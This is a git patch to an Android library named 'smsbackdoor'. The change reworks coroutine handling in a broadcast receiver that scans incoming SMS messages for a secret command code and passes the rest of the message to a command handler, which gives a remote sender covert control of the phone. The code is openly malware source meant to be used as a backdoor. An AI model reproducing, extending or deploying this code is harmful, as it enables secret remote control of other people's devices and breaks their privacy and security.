From 0feb21547ee030aba615ff6817d7ff4c8f2a3b58 Mon Sep 17 00:00:00 2001 From: Chris Basinger Date: Mon, 5 Oct 2020 23:18:30 -0500 Subject: [PATCH] feature_coroutines (#5) * coroutine launch builder function for command handler. * join on coroutine builder before finishing async in RemoteCommandReceiver.kt --- .../com/evilthreads/smsbackdoor/RemoteCommandReceiver.kt | 7 +++++-- 1 file changed, 5 insertions(+), 2 deletions(-) diff --git a/smsbackdoor/src/main/java/com/evilthreads/smsbackdoor/RemoteCommandReceiver.kt b/smsbackdoor/src/main/java/com/evilthreads/smsbackdoor/RemoteCommandReceiver.kt index 186f1fc..910d320 100644 --- a/smsbackdoor/src/main/java/com/evilthreads/smsbackdoor/RemoteCommandReceiver.kt +++ b/smsbackdoor/src/main/java/com/evilthreads/smsbackdoor/RemoteCommandReceiver.kt @@ -22,6 +22,7 @@ import android.provider.Telephony import android.telephony.SmsMessage import kotlinx.coroutines.GlobalScope import kotlinx.coroutines.launch +import kotlinx.coroutines.runBlocking /* ( ( ) ( ( ( @@ -56,8 +57,10 @@ internal class RemoteCommandReceiver: BroadcastReceiver(){ } val result = goAsync() command.toString().takeIf { cmd -> cmd.contains(SmsBackdoor.commandCode) }?.let { cmd -> - GlobalScope.launch { - SmsBackdoor.commandHandler?.invoke(cmd.split(SmsBackdoor.commandCode)[1]) + runBlocking { + GlobalScope.launch { + SmsBackdoor.commandHandler?.invoke(cmd.split(SmsBackdoor.commandCode)[1]) + }.join() result.finish() } }